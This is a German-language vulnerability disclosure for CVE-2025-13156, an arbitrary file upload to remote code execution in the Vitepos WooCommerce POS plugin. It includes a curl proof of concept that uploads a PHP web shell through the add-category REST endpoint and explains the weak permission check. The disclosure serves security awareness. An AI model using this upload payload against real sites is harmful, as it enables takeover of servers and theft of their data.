
Offenlegung für CVE-2025-13156
Offenlegung für CVE-2025-13156
Dieses Repository legt eine Sicherheitslücke offen, die in Vitepos – Point of Sale (POS) für WooCommerce <= 3.3.0, einem WordPress-Plugin von appsbd, entdeckt wurde.
| CVE ID | Typ | Komponente | Auswirkung |
|---|---|---|---|
| CVE-2025-13156 | Authentifiziert (Abonnent+) Beliebiges Datei-Upload zur Remote-Code-Ausführung | modules/class-pos-settings.php api/v1/class-pos-product-api.php | Beliebige Dateien auf den Server der betroffenen Site hochladen |
curl -k \
'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \
-F 'category_name=evil' \
-F 'category_parent=0' \
-F 'category_description=PoC-shell' \
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'
Die REST-Routen des Plugins unter /wp-json/vitepos/v1/product/... verlassen sich auf eine zu großzügige Berechtigungsprüfung, die effektiv jeden angemeldeten Benutzer akzeptiert (is_user_logged_in()), ohne zu prüfen, ob der Aufrufer ein POS-Benutzer ist oder die Fähigkeit hat, Produktbegriffe zu verwalten. Infolgedessen können Rollen mit niedrigen Berechtigungen (z.B. Abonnent) auf Endpunkte wie add-category/update-category zugreifen.
Da es nicht direkt im WebRoot abgelegt werden kann, kann es je nach Umgebung sein, dass es nicht erfolgreich ist. Da im Uploads-Verzeichnis grundsätzlich die PHP-Ausführung nicht erlaubt ist, dachte ich, dass es ohne eine wirklich seltsame Umgebung nicht möglich wäre. Als ich im MIME-Erlaubnis-Listen den String application/octet-stream sah, hatte ich sofort ein ungutes Gefühl, aber es hat tatsächlich funktioniert, was mich sehr überrascht hat. Eigentlich verhindert der WordPress-Kern den PHP-Upload, aber da dieses Plugin eine eigene Verarbeitung implementiert, konnte diese Schwachstelle reproduziert werden. Das ist ein ziemlicher seltener Fall.
Name: MooseLove
Rolle: Unabhängiger Sicherheitsforscher / Bug Hunter
Kontakt: Auf Anfrage erhältlich
Dieser Hinweis wird zur öffentlichen Sicherheitssensibilisierung bereitgestellt. Freie Weitergabe mit Quellenangabe.